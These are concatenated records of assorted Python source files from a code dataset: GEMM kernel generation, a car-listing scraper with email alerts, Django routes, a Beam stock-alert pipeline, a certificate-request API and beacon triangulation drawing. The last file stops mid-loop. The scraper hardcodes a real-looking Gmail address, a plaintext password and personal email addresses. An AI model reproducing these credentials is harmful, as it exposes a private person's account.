reg_c_m0\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tMOV(reg_c_mn, reg_c_m0)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tADD(reg_c_mn, reg_col_stride)\n\n\t\t\t\t\t\tVADDPS(ymm_c[m][n], ymm_c[m][n], [reg_c_mn])\n\t\t\t\t\t\tVMOVAPS([reg_c_mn], ymm_c[m][n])\n\n\t\t\t\tRETURN()\n\n\t\t\twith store_c:\n\t\t\t\treg_c_m0, reg_c_mn = GeneralPurposeRegister64(), GeneralPurposeRegister64()\n\t\t\t\tfor m in range(mr):\n\t\t\t\t\tif m == 0:\n\t\t\t\t\t\treg_c_m0 = reg_c\n\t\t\t\t\telse:\n\t\t\t\t\t\tADD(reg_c_m0, reg_row_stride)\n\t\t\t\t\tfor n in range(nr):\n\t\t\t\t\t\tif n == 0:\n\t\t\t\t\t\t\tif m + 1 == mr:\n\t\t\t\t\t\t\t\treg_c_mn = reg_c_m0\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tMOV(reg_c_mn, reg_c_m0)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tADD(reg_c_mn, reg_col_stride)\n\n\t\t\t\t\t\tVMOVAPS([reg_c_mn], ymm_c[m][n])\n\n\t\t\t\tRETURN()\n","sub_path":"src/x86_64-fma/s8gemm.py","file_name":"s8gemm.py","file_ext":"py","file_size_in_byte":4178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"524787977","text":"import urllib.request\nimport smtplib\nfrom datetime import datetime\n\nu = 'http://otomoto.pl/osobowe/renault/megane/iii//kombi,mpv,van-minibus?s=p&l=60&fq%5Blocation_type%5D=region&fq%5Bregion%5D%5B0%5D=ma%C5%82opolskie&fq%5Bregion%5D%5B1%5D=opolskie&fq%5Bregion%5D%5B2%5D=%C5%9Bl%C4%85skie&fq%5Bodometer%5D%5Bto%5D=100000&fq%5Btechnical_condition%5D=functioning&fq%5Bhistory%5D%5B0%5D=item.has_no_accident'\nf = urllib.request.urlopen(u)\ncontents = str(f.read())\nf.close()\ni = 0\nj = 0\ncounter = 1\nilosc_olgoszen = 0\nilosc_nowych = 0\nkryteria = 'kryteria: '\nogloszenia = 'class=\"om-list-item\">

',j + len(ogloszenia))\n lista.insert(counter, ('http://otomoto.pl/renault-megane-iii' + contents[j+len(ogloszenia):koniec_linku - 1]+ '\\n'))\n j = koniec_linku \n counter = counter + 1\n\n\ndef wczytajOgloszeniaOld ():\n global ogloszeniaOld\n plikOgloszeniaOld = open (ogloszeniaOld)\n line = plikOgloszeniaOld.readline()\n i = 0\n while line != '': \n listaStarych.insert(i, line)\n line = plikOgloszeniaOld.readline()\n i = i + 1\n plikOgloszeniaOld.close()\n# print('Wczytano starych ogloszen: ' + str(i))\n\n\ndef zapiszOgloszeniaOld ():\n global ogloszeniaOld, lista\n i = 0\n plikOgloszeniaOld = open (ogloszeniaOld, 'w')\n for item in lista:\n plikOgloszeniaOld.write(item)\n i = i + 1\n# print ('Zapisano nowych rekordow: ' + str(i))\n plikOgloszeniaOld.close()\n\n\ndef sprawdzNowe ():\n global lista, listaStarych, listaNowych, ilosc_nowych\n i = 0\n for item in lista:\n try:\n index = listaStarych.index(item)\n except ValueError:\n listaNowych.insert(i,item)\n i = i+1\n\n ilosc_nowych = i\n time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n print (time+ ' Nowe ogloszenia:' + str(i))\n for item2 in listaNowych:\n print (item2)\n\n\ndef sendMail ():\n global listaNowych\n\n #if len(listaNowych) < 1:\n # return\n\n gmail_user = \"raspberry.bencol@gmail.com\"\n gmail_pwd = \"Snowboard2\"\n FROM = 'raspberry.bencol@gmail.com'\n TO = ['robert.gorecki@gmail.com'] #must be a list\n time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n SUBJECT = \"Nowe Oglosznie z Otomoto z: \" + time\n TEXT = \"Lista Nowych Ogloszen: \\n\"\n i = 0 \n for item in listaNowych:\n i = i + 1\n TEXT = TEXT + str(i) + '. \\t' + item + '\\n'\n message = \"\"\"\\From: %s\\nTo: %s\\nSubject: %s\\n\\n%s\"\"\" % (FROM, \", \".join(TO), SUBJECT, TEXT)\n try:\n server = smtplib.SMTP(\"smtp.gmail.com\", 587) #or port 465 doesn't seem to work!\n server.ehlo()\n server.starttls()\n server.login(gmail_user, gmail_pwd)\n server.sendmail(FROM, TO, message)\n server.close()\n print ('successfully sent the mail at : ' + time)\n except:\n print ('failed to send mail at: ' + time)\n\nprint ('=====================================================================================')\n#wczytajOgloszenia()\n#wczytajOgloszeniaOld()\n#zapiszOgloszeniaOld()\n#sprawdzNowe()\nsendMail()\nprint ('=====================================================================================\\n')\n","sub_path":"Pi/sendmail.py","file_name":"sendmail.py","file_ext":"py","file_size_in_byte":3840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"202072967","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='home'),\n\n path('dataflow/', views.DAGView.as_view(), name='dataflow'),\n path('dataflow//run/', views.DAGRunView.as_view(), name='dagrun'),\n path('dataflow//task/', views.TaskView.as_view(), name='task'),\n path('dataflow//run//task/', views.TaskAnalysisView.as_view(),\n name='task_analysis'),\n\n # JSON calls\n path('dagChartStatistics', views.dagChartStatistics, name='dagChartStatistics'),\n path('taskChartStatistics', views.taskChartStatistics, name='taskChartStatistics'),\n path('taskChartValues', views.taskChartValues, name='taskChartValues'),\n path('dataflowValueSearch', views.dataflowValueSearch, name='dataflowValueSearch'),\n path('runValueSearch', views.runValueSearch, name='runValueSearch'),\n path('homeChartStatistics', views.homeChartStatistics, name='homeChartStatistics'),\n path('debugger//dagrun//task/', views.debugger, name='debugger'),\n\n]\n","sub_path":"visualization/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"19890350","text":"from __future__ import absolute_import\n\nimport argparse\nimport logging\nimport re\n\nfrom past.builtins import unicode\nfrom datetime import datetime\nimport apache_beam as beam\nfrom apache_beam.io import ReadFromText\nfrom apache_beam.io import WriteToText\nfrom apache_beam.metrics import Metrics\nfrom apache_beam.metrics.metric import MetricsFilter\nfrom apache_beam.options.pipeline_options import PipelineOptions\nfrom apache_beam.options.pipeline_options import SetupOptions\nimport re, requests\nfrom datetime import datetime, date\nfrom collections import OrderedDict\nimport requests\nfrom sendgrid import SendGridAPIClient\nfrom sendgrid.helpers.mail import Mail, Email, Personalization\nfrom .utils import get_isr_and_kor, get_usr_adrs, get_latest_price_yahoo_2\nfrom functools import reduce\n\n\nROW_TEMPLATE = '{}{}{}{}'\n\nclass ADREmailSender(beam.DoFn):\n def __init__(self, recipients, key):\n self.recipients = recipients.split(',')\n self.key = key\n\n def _build_personalization(self, recipients):\n personalizations = []\n for recipient in recipients:\n logging.info('Adding personalization for {}'.format(recipient))\n person1 = Personalization()\n person1.add_to(Email(recipient))\n personalizations.append(person1)\n return personalizations\n\n def process(self, element):\n if element:\n msg = element\n logging.info('Attepmting to send emamil to:{} with diff {}'.format(self.recipients,msg))\n template = \\\n \"{}
Foreign TickerADR TickerLatest PriceChange
\"\n content = template.format(msg)\n logging.info('Sending \\n {}'.format(content))\n message = Mail(\n from_email='gcp_portfolio@mmistroni.com',\n subject='KOR-ISR Stocks spiked up!',\n html_content=content)\n\n personalizations = self._build_personalization(self.recipients)\n for pers in personalizations:\n message.add_personalization(pers)\n\n sg = SendGridAPIClient(self.key)\n\n response = sg.send(message)\n logging.info('Mail Sent:{}'.format(response.status_code))\n logging.info('Body:{}'.format(response.body))\n else:\n logging.info('Not Sending email...nothing to do')\n\n\nclass XyzOptions(PipelineOptions):\n\n @classmethod\n def _add_argparse_args(cls, parser):\n parser.add_argument('--recipients', default='mmistroni@gmail.com')\n parser.add_argument('--key')\n parser.add_argument('--iexapikey')\n\n\ndef create_us_and_foreign_dict(token):\n adrs = get_usr_adrs(token)\n intern_stocks = get_isr_and_kor(token)\n intern_symbols = [(k, v) for k, v in intern_stocks.items() if k in adrs.keys()]\n adr_symbols = dict((k, v) for k, v in adrs.items() if k in intern_stocks)\n intern_and_adr = dict(\n map(lambda tpl: (tpl[0], tpl[1].replace('-IT', '.TA').replace('-KP', '.KS')), intern_symbols))\n intern_and_adr\n # adr_symbols\n\n us_and_foreign = map(lambda tpl: (tpl[0], tpl[1], intern_and_adr.get(tpl[0])), adr_symbols.items())\n res = list(us_and_foreign)\n logging.info('US and foreign:{}'.format(res))\n return res\n\ndef map_ticker_to_html_string(tpl):\n res = ROW_TEMPLATE.format(tpl[0], tpl[1], tpl[2], tpl[3])\n logging.info('Mapped is:{}'.format(res))\n return res\n\ndef combine_to_html_rows(elements):\n logging.info('Combining')\n combined = reduce(lambda acc, current: acc + current, elements, '')\n logging.info('Combined string is:{}'.format(combined))\n return combined\n\ndef find_diff(ticker, start_date):\n print('finding prices for:{}'.format(ticker))\n res = get_latest_price_yahoo_2(ticker, start_date)\n logging.info('Data for {}={}'.format(ticker, res))\n return res\n\ndef run_my_pipeline(p, options):\n return (p\n | 'Start'>> beam.Create(create_us_and_foreign_dict(options.iexapikey))\n | 'Getting Prices' >> beam.Map(lambda tpl: (tpl[0], tpl[1], tpl[2], find_diff(tpl[2], date.today())))\n | 'Filtering Increases' >> beam.Filter(lambda tpl: tpl[3] > 0.15)\n | 'Printing out' >> beam.Map(logging.info)\n | 'Map to HTML Table' >> beam.Map(map_ticker_to_html_string)\n | 'Combine to one Text' >> beam.CombineGlobally(combine_to_html_rows)\n | 'SendEmail' >> beam.ParDo(ADREmailSender(options.recipients, options.key))\n )\n\n\ndef run(argv=None, save_main_session=True):\n \"\"\"Main entry point; defines and runs the wordcount pipeline.\"\"\"\n\n # We use the save_main_session option because one or more DoFn's in this\n # workflow rely on global context (e.g., a module imported at module level).\n pipeline_options = XyzOptions()\n pipeline_options.view_as(SetupOptions).save_main_session = save_main_session\n logging.info(pipeline_options.get_all_options())\n start_list = create_us_and_foreign_dict(pipeline_options.iexapikey)\n logging.info('===== STARTING===== with :{}'.format(start_list))\n with beam.Pipeline(options=pipeline_options) as p:\n result = (p| 'Start' >> beam.Create(start_list)\n | 'Getting Prices' >> beam.Map(lambda tpl: (tpl[0], tpl[1], tpl[2], find_diff(tpl[2], date.today())))\n | 'Filtering Increases' >> beam.Filter(lambda tpl: tpl[3] > 0.05)\n | 'Map to HTML Table' >> beam.Map(lambda t:map_ticker_to_html_string(t))\n | 'Combine to one Text' >> beam.CombineGlobally(combine_to_html_rows)\n | 'SendEmail' >> beam.ParDo(ADREmailSender(pipeline_options.recipients, pipeline_options.key))\n )\n\nif __name__ == '__main__':\n logging.getLogger().setLevel(logging.INFO)\n run()","sub_path":"dataflow/shareloader/modules/kor_isr_shareloader.py","file_name":"kor_isr_shareloader.py","file_ext":"py","file_size_in_byte":5906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"637478480","text":"\"\"\"\nRepresents the board object for the game\n\"\"\"\nimport pygame\nimport random\n\nclass Board(object):\n ROWS = COLS = 90\n COLORS = {\n 0: (255,255,255),\n 1: (0,0,0),\n 2: (255,0,0),\n 3: (0,255,0),\n 4: (0,0,255),\n 5: (255,255,0),\n 6: (255,140,0),\n 7: (165,42,42),\n 8: (128,0,128)\n }\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.WIDTH = 720\n self.HEIGHT = 720\n self.compressed_board = []\n self.board = self.create_board()\n self.BORDER_THICKNESS = 5\n\n def create_board(self):\n return [[(255,255,255) for _ in range(self.COLS)] for _ in range(self.ROWS)]\n\n def translate_board(self):\n for y, _ in enumerate(self.compressed_board):\n for x, col in enumerate(self.compressed_board[y]):\n self.board[y][x] = self.COLORS[col]\n\n def draw(self, win):\n pygame.draw.rect(win, (0,0,0), (self.x - self.BORDER_THICKNESS/2, self.y-self.BORDER_THICKNESS/2, self.WIDTH + self.BORDER_THICKNESS, self.HEIGHT + self.BORDER_THICKNESS), self.BORDER_THICKNESS)\n for y, _ in enumerate(self.board):\n for x, col in enumerate(self.board[y]):\n pygame.draw.rect(win, col, (self.x + x*8, self.y + y*8, 8, 8), 0)\n\n def click(self,x,y):\n \"\"\"\n none if not in board, otherwise return place clicked on\n in terms of row and col\n :param x: float\n :param y: float\n :return: (int, int) or None\n \"\"\"\n row = int((x - self.x)/8)\n col = int((y - self.y)/8)\n\n if 0 <= row <= self.ROWS and 0 <= col <= self.COLS:\n return row, col\n\n return None\n\n def update(self, x, y, color, thickness=3):\n neighs = [(x,y)] + self.get_neighbour(x,y)\n for x,y in neighs:\n if 0 <= x <= self.COLS and 0 <= y <= self.ROWS:\n self.board[y][x] = color\n\n def get_neighbour(self,x,y):\n return [ (x-1, y-1), (x, y-1), (x+1, y-1),\n (x-1, y), (x+1, y),\n (x-1, y+1), (x, y+1), (x+1, y+1)]\n\n def clear(self):\n self.board = self.create_board()\n","sub_path":"Pictonary-Livestream-master/client/board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":2171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"44630561","text":"#!/bin/env python3\n\n#altered from original morgan_gb_parsing to find the collection date to add to the virus table as originally day month year were added separately, coded by Morgan amendments by AdamC\n\nimport os\nfrom Bio import SeqIO\nimport re\n\n#finding an existing file in a directory: https://www.csestack.org/python-check-if-file-directory-exists/\n#deleting existing files: https://www.dummies.com/programming/python/how-to-delete-a-file-in-python/\n\ndate_out = open(\"date_output.txt\", \"a\")\n\n#getting a list of files in a directory: https://www.newbedev.com/\ndirectory = r'GB_files_may30_jun9'\nfiles = os.listdir(directory)\ncounter = 0\nfor f in files:\n #Biopython SeqRecord: https://biopython.org/wiki/SeqRecord\n for seq_record in SeqIO.parse(('GB_files_may30_jun9/'+ f), \"genbank\"):\n i = seq_record.id\n f = seq_record.features\n feat = str(seq_record.features[0])\n for feature in f:\n \n if (re.search(r\".*collection_date.*'(\\d{2})-(\\w*)-(\\d{4})'\",feat)):\n collection_date = re.search(r\".*collection_date.*'(\\d{2})-(\\w*)-(\\d{4})'\",feat)\n Day = str(collection_date.group(1))\n month = str(collection_date.group(2))\n Year = str(collection_date.group(3))\n print(month)\n if(month == 'Jan'):\n Month = '01'\n if(month == 'Feb'):\n Month = '02'\n if(month == 'Mar'):\n Month = '03'\n if(month == 'Apr'):\n Month = '04'\n if(month == 'May'):\n Month = '05'\n if(month == 'Jun'):\n Month = '06'\n if(month == 'Dec'):\n Month = '12'\n \n\n\n elif (re.search(r\".*collection_date.*'(\\d{4})-(\\d{2})-(\\d{2})'\",feat)):\n collection_date = re.search(r\".*collection_date.*'(\\d{4})-(\\d{2})-(\\d{2})'\",feat)\n Day = str(collection_date.group(3))\n Year = str(collection_date.group(1))\n month = str(collection_date.group(2))\n \n if(month == 'Jan'):\n Month = '01'\n if(month == 'Feb'):\n Month = '02'\n if(month == 'Mar'):\n Month = '03'\n if(month == 'Apr'):\n Month = '04'\n if(month == 'May'):\n Month = '05'\n if(month == 'Jun'):\n Month = '06'\n if(month == 'Dec'):\n Month = '12'\n else: Month = month\n \n date_out.write(i + \",\" + Year + Month + Day + \"\\n\")\n \n print(\"Genbank file \" + i + \" done\")\n counter = counter + 1\n print(\"I have got through \" + str(counter) + \" genbank files\")\ndate_out.close()\n","sub_path":"Python_scripts/date_column_update.py","file_name":"date_column_update.py","file_ext":"py","file_size_in_byte":3163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"379285011","text":"import os\nimport time\nimport glob\nfrom pathlib import Path\n\ntry:\n import moxing as mox\n mox.file.set_auth(is_secure=False)\nexcept:\n pass\n\n\ndef _check_dir(dist_dir):\n copy_flag = True\n if os.path.exists(dist_dir):\n copy_flag = False\n if not os.path.exists(os.path.dirname(dist_dir)):\n os.makedirs(os.path.dirname(dist_dir))\n return copy_flag\n\n\ndef copy_data_to_cache(src_dir='', dist_dir=''):\n start_t = time.time()\n copy_flag = _check_dir(dist_dir)\n if copy_flag:\n print('copy ...')\n tar_files = []\n t0 = time.time()\n if mox.file.is_directory(src_dir):\n mox.file.copy_parallel(src_dir, dist_dir)\n else:\n mox.file.copy(src_dir, dist_dir)\n if dist_dir.endswith('tar') or dist_dir.endswith('tar.gz'):\n tar_files.append(dist_dir)\n t1 = time.time()\n print('copy datasets, time used={:.2f}s'.format(t1 - t0))\n tar_list = list(Path(dist_dir).glob('**/*.tar'))\n tar_files.extend(tar_list)\n tar_list = list(Path(dist_dir).glob('**/*.tar.gz'))\n tar_files.extend(tar_list)\n # tar xvf tar file\n print('tar_files:{}'.format(tar_files))\n for tar_file in tar_files:\n tar_dir = os.path.dirname(tar_file)\n print('cd {}; tar -xvf {} > /dev/null 2>&1'.format(tar_dir, tar_file))\n os.system('cd {}; tar -xvf {} > /dev/null 2>&1'.format(tar_dir, tar_file))\n t2 = time.time()\n print('uncompress, time used={:.2f}s'.format(t2 - t1))\n os.system('cd {}; rm -rf {}'.format(tar_dir, tar_file))\n\n print('--------------------------------------------')\n print('copy data completed!')\n else:\n print(\"Since data already exists, copying is not required\")\n end_t = time.time()\n print('copy cost time {:.2f} sec'.format(end_t-start_t))\n","sub_path":"msvision/utils/cloud_copy_cache.py","file_name":"cloud_copy_cache.py","file_ext":"py","file_size_in_byte":1887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"96956062","text":"\nimport click\nimport falcon\nimport logging\nimport ipaddress\nimport os\nfrom certidude import config, authority, helpers, push, errors\nfrom certidude.auth import login_required, login_optional, authorize_admin\nfrom certidude.decorators import serialize, csrf_protection\nfrom certidude.wrappers import Request, Certificate\nfrom certidude.firewall import whitelist_subnets, whitelist_content_types\n\nfrom cryptography import x509\nfrom cryptography.hazmat.backends import default_backend\n\nlogger = logging.getLogger(\"api\")\n\nclass RequestListResource(object):\n @serialize\n @login_required\n @authorize_admin\n def on_get(self, req, resp):\n return authority.list_requests()\n\n\n @login_optional\n @whitelist_subnets(config.REQUEST_SUBNETS)\n @whitelist_content_types(\"application/pkcs10\")\n def on_post(self, req, resp):\n \"\"\"\n Submit certificate signing request (CSR) in PEM format\n \"\"\"\n\n body = req.stream.read(req.content_length)\n\n # Normalize body, TODO: newlines\n if not body.endswith(\"\\n\"):\n body += \"\\n\"\n\n csr = Request(body)\n\n if not csr.common_name:\n logger.warning(u\"Rejected signing request without common name from %s\",\n req.context.get(\"remote_addr\"))\n raise falcon.HTTPBadRequest(\n \"Bad request\",\n \"No common name specified!\")\n\n machine = req.context.get(\"machine\")\n if machine:\n if csr.common_name != machine:\n raise falcon.HTTPBadRequest(\n \"Bad request\",\n \"Common name %s differs from Kerberos credential %s!\" % (csr.common_name, machine))\n if csr.signable:\n # Automatic enroll with Kerberos machine cerdentials\n resp.set_header(\"Content-Type\", \"application/x-x509-user-cert\")\n resp.body = authority.sign(csr, overwrite=True).dump()\n return\n\n\n # Check if this request has been already signed and return corresponding certificte if it has been signed\n try:\n cert = authority.get_signed(csr.common_name)\n except EnvironmentError:\n pass\n else:\n if cert.pubkey == csr.pubkey:\n resp.status = falcon.HTTP_SEE_OTHER\n resp.location = os.path.join(os.path.dirname(req.relative_uri), \"signed\", csr.common_name)\n return\n\n # TODO: check for revoked certificates and return HTTP 410 Gone\n\n # Process automatic signing if the IP address is whitelisted, autosigning was requested and certificate can be automatically signed\n if req.get_param_as_bool(\"autosign\") and csr.signable:\n for subnet in config.AUTOSIGN_SUBNETS:\n if req.context.get(\"remote_addr\") in subnet:\n try:\n resp.set_header(\"Content-Type\", \"application/x-x509-user-cert\")\n resp.body = authority.sign(csr).dump()\n return\n except EnvironmentError: # Certificate already exists, try to save the request\n pass\n break\n\n # Attempt to save the request otherwise\n try:\n csr = authority.store_request(body)\n except errors.RequestExists:\n # We should stil redirect client to long poll URL below\n pass\n except errors.DuplicateCommonNameError:\n # TODO: Certificate renewal\n logger.warning(u\"Rejected signing request with overlapping common name from %s\",\n req.context.get(\"remote_addr\"))\n raise falcon.HTTPConflict(\n \"CSR with such CN already exists\",\n \"Will not overwrite existing certificate signing request, explicitly delete CSR and try again\")\n else:\n push.publish(\"request-submitted\", csr.common_name)\n\n # Wait the certificate to be signed if waiting is requested\n if req.get_param(\"wait\"):\n # Redirect to nginx pub/sub\n url = config.PUSH_LONG_POLL % csr.fingerprint()\n click.echo(\"Redirecting to: %s\" % url)\n resp.status = falcon.HTTP_SEE_OTHER\n resp.set_header(\"Location\", url.encode(\"ascii\"))\n logger.debug(u\"Redirecting signing request from %s to %s\", req.context.get(\"remote_addr\"), url)\n else:\n # Request was accepted, but not processed\n resp.status = falcon.HTTP_202\n logger.info(u\"Signing request from %s stored\", req.context.get(\"remote_addr\"))\n\n\nclass RequestDetailResource(object):\n @serialize\n def on_get(self, req, resp, cn):\n \"\"\"\n Fetch certificate signing request as PEM\n \"\"\"\n csr = authority.get_request(cn)\n logger.debug(u\"Signing request %s was downloaded by %s\",\n csr.common_name, req.context.get(\"remote_addr\"))\n return csr\n\n\n @csrf_protection\n @login_required\n @authorize_admin\n def on_patch(self, req, resp, cn):\n \"\"\"\n Sign a certificate signing request\n \"\"\"\n csr = authority.get_request(cn)\n cert = authority.sign(csr, overwrite=True, delete=True)\n os.unlink(csr.path)\n resp.body = \"Certificate successfully signed\"\n resp.status = falcon.HTTP_201\n resp.location = os.path.join(req.relative_uri, \"..\", \"..\", \"signed\", cn)\n logger.info(u\"Signing request %s signed by %s from %s\", csr.common_name,\n req.context.get(\"user\"), req.context.get(\"remote_addr\"))\n\n\n @csrf_protection\n @login_required\n @authorize_admin\n def on_delete(self, req, resp, cn):\n try:\n authority.delete_request(cn)\n # Logging implemented in the function above\n except EnvironmentError as e:\n resp.body = \"No certificate CN=%s found\" % cn\n logger.warning(u\"User %s failed to delete signing request %s from %s, reason: %s\",\n req.context[\"user\"], cn, req.context.get(\"remote_addr\"), e)\n raise falcon.HTTPNotFound()\n","sub_path":"certidude/api/request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":6087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"334511209","text":"from actstream import action\nfrom actstream.models import Action\nfrom qubalapp.models import Person, Task_Status, Challenge_Status\nimport qubal_reward\nimport datetime\n\ndef check_challenge (local_student, student_challenge):\n\t\"\"\"\n\tIf all the challenge tasks are completed it sets the challenge to completed.\n\t\"\"\"\n\tchallenge_completed = False\n\tnumber_of_tasks_completed = 0\n\tnumber_of_tasks = student_challenge.has_tasks.count()\n\n\tfor task in student_challenge.has_tasks.all():\n\n\t\ttask_status_exist = Task_Status.objects.filter(student=local_student, task=task).count()\n\t\t\n\t\tif (task_status_exist != 0):\n\n\t\t\ttask_status = Task_Status.objects.get(student=local_student, task=task)\n\t\t\t\n\t\t\tif task_status.completed:\n\t\t\t\t\n\t\t\t\tnumber_of_tasks_completed += 1\n\t\n\t\n\tif number_of_tasks == number_of_tasks_completed:\n\n\t\tchallenge_completed = True\n\n\n\tif challenge_completed:\n\n\t\tcs = Challenge_Status.objects.get(student=local_student, challenge=student_challenge)\n\n\t\tcs.completed_on_date = datetime.datetime.now()\n\t\tcs.completed = True\n\n\t\tcs.save()\n\n\t\tqubal_reward.process_challenge_reward (local_student, student_challenge)\n\t\treward_xp = qubal_reward.return_challenge_xp(student_challenge)\n\t\taction.send(local_student.user, verb='action_finish_challenge', description='Challenge completed! +'+ str(reward_xp) +'XP', target=student_challenge, mostrado='no')\n\n","sub_path":"home/bochelord/test_qubal/mysite/qubalapp/qubal_check.py","file_name":"qubal_check.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"568921273","text":"from graphics import *\nfrom random import randrange\nimport serial\nimport serial.tools.list_ports\nfrom math import sqrt\nfrom math import acos\nfrom math import asin\nfrom math import cos\nfrom math import sin\nfrom math import atan2\nimport math\n\n\nPI = math.pi\nNB_HISTORY = 2\nSCALE = 3\nT_COLOR = \"yellow\"\nTABLE_LEN = 3000\nTABLE_HIGH = 2000\nTABLE_COLOR = \"green\"\nD_RADIUS = 2\nD_COLOR = \"red\"\n#grey from 0 (black) to 100 (white)\n\nDX1=-22-17\nDY1=TABLE_HIGH+22+35\nDX2=-22-17\nDY2=-22-80+35\nDX3=TABLE_LEN+22+17\nDY3=TABLE_HIGH/2+80/2-35\n\nD1_POINT = Point(DX1, DY1)\nD2_POINT = Point(DX2, DY2)\nD3_POINT = Point(DX3, DY3)\nHIST_COLORS = [\"gray\"+str(i*100//(NB_HISTORY-1)) for i in range(NB_HISTORY)]\n\n#distances between photodiodes\ndiag12=sqrt((DX2-DX1)**2+(DY2-DY1)**2)\ndiag23=sqrt((DX3-DX2)**2+(DY3-DY2)**2)\ndiag31=sqrt((DX1-DX3)**2+(DY1-DY3)**2)\n\n#input/output in rads \ndef rangeAngle(A):\n while A<0:\n A += 2*PI\n while A >= 2*PI:\n A -= 2*PI\n \n if A < 0: #just to be sure beacause we work with floats ...\n A=0\n \n return A\n\n\n\n#return 0, 1 or 2 intersection coordinates\ndef SCI(Ta, Ra, Tb, Rb):\n res =[]\n #wrong argument\n if [Ta,Tb] not in [[1,2],[2,3],[3,1]]:\n print(\"wrong argument\")\n return []\n \n if Ta==1 and Tb==2:\n if Ra+Rb-2: #rounding errors are accepted\n h=0\n else: \n h=sqrt(Ra**2-a**2)\n \n cxc=cxa+a*(cxb-cxa)/dist\n cyc=cya+a*(cyb-cya)/dist\n \n x=cxc+h*(cyb-cya)/dist\n y=cyc-h*(cxb-cxa)/dist\n res.append([x,y])\n #print(\"SCI X Y \", x, y)\n \n #there is a 2nd solution\n if dist!=Ra+Rb:\n x=cxc-h*(cyb-cya)/dist\n y=cyc+h*(cxb-cxa)/dist\n res.append([x,y])\n \n return res\n\n\nif __name__ == '__main__':\n print(HIST_COLORS)\n print(\"Starting program\")\n win = GraphWin(\"drawPosition\",(TABLE_LEN+2*(22+80))/SCALE,(TABLE_HIGH+2*(22+80))/SCALE)\n win.autoflush = False\n win.setCoords(-80-22,-80-22,TABLE_LEN+80+22,TABLE_HIGH+80+22)\n table = Rectangle(Point(0,0), Point(TABLE_LEN,TABLE_HIGH))\n table.setFill(TABLE_COLOR)\n table.draw(win)\n #haut gauche\n t1 = Rectangle(Point(-80-22,TABLE_HIGH+22), Point(-22,TABLE_HIGH+22+80))\n t1.setFill(T_COLOR)\n t1.draw(win)\n d1 = Circle(D1_POINT, D_RADIUS)\n d1.setFill(D_COLOR)\n d1.setOutline(D_COLOR)\n d1.draw(win)\n #bas gauche\n t2 = Rectangle(Point(-80-22,-80-22), Point(-22,-22))\n t2.setFill(T_COLOR)\n t2.draw(win)\n d2 = Circle(D2_POINT, D_RADIUS)\n d2.setFill(D_COLOR)\n d2.setOutline(D_COLOR)\n d2.draw(win)\n #droite milieu\n t3 = Rectangle(Point(TABLE_LEN+22,TABLE_HIGH/2-80/2), Point(TABLE_LEN+22+80,TABLE_HIGH/2+80/2))\n t3.setFill(T_COLOR)\n t3.draw(win)\n d3 = Circle(D3_POINT, D_RADIUS)\n d3.setFill(D_COLOR)\n d3.setOutline(D_COLOR)\n d3.draw(win)\n \n # dessiner les carreaux du sol\n for i in range(10):\n jv=Line(Point(300*i+190,0), Point(300*i+190,TABLE_HIGH))\n jv.setOutline(\"grey\")\n jv.draw(win)\n jv.setWidth(2)\n \n for j in range(6):\n jh=Line(Point(0,300*j+190), Point(TABLE_LEN,300*j+190))\n jh.setOutline(\"grey\")\n jh.draw(win)\n jh.setWidth(2)\n \n #prepare the list of history circles\n cList=[]\n for i in range(NB_HISTORY+1):\n c1 = Circle(D1_POINT, 0)\n c2 = Circle(D2_POINT, 0)\n c3 = Circle(D3_POINT, 0)\n c1.draw(win)\n c2.draw(win)\n c3.draw(win)\n cList.append([c1,c2,c3])\n \n win.flush()\n print(\"Click into the window !!!\")\n win.getMouse()\n \n # 1\n #\n #\n #\n # 3\n #\n #\n #\n # 2\n \n L12 = Line(Point(0,0), Point(1,1))\n L23 = Line(Point(0,0), Point(1,1))\n L31 = Line(Point(0,0), Point(1,1))\n \n pos=Circle(Point(0,0),1)\n dir0line = Line(Point(0,0), Point(1,1))\n pos4=Circle(Point(0,0),1)\n pos5=Circle(Point(0,0),1)\n pos6=Circle(Point(0,0),1)\n dir0line_emb = Line(Point(0,0), Point(1,1))\n pos_emb =Circle(Point(0,0),1)\n pos4_emb=Circle(Point(0,0),1)\n pos5_emb=Circle(Point(0,0),1)\n pos6_emb=Circle(Point(0,0),1)\n \n serList = serial.tools.list_ports.comports()\n \n #for s in serList:\n # print(\"-\",s.description,\"-\",s.vid, s.pid)\n \n serList = [s for s in serList if (s.vid==1027 and s.pid==24577)]\t\n if len(serList) != 1:\n print(\"Error did not found serial interface to use\")\n else :\n ser = serial.Serial(serList[0].device,baudrate=115200, timeout=0)\n ser.reset_input_buffer()\n \n S = b\"\"\n turretInfos=[[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0],[0,0,0]] \n \n loopTime =0\n #for i in range(1000):\n while True: \n print(\"loop\", time.time()-loopTime)\n loopTime=time.time()\n \n Sp_bloc = []\n while len(Sp_bloc)<2:\n s = ser.read(100)\n if s:\n S += s\n else:\n time.sleep(0.001)\n Sp_bloc = S.split(b\"\\r\\nSpeed\",1)\n if len(Sp_bloc) >= 2:\n S = Sp_bloc[1]\n Sp = Sp_bloc[0].split()\n if 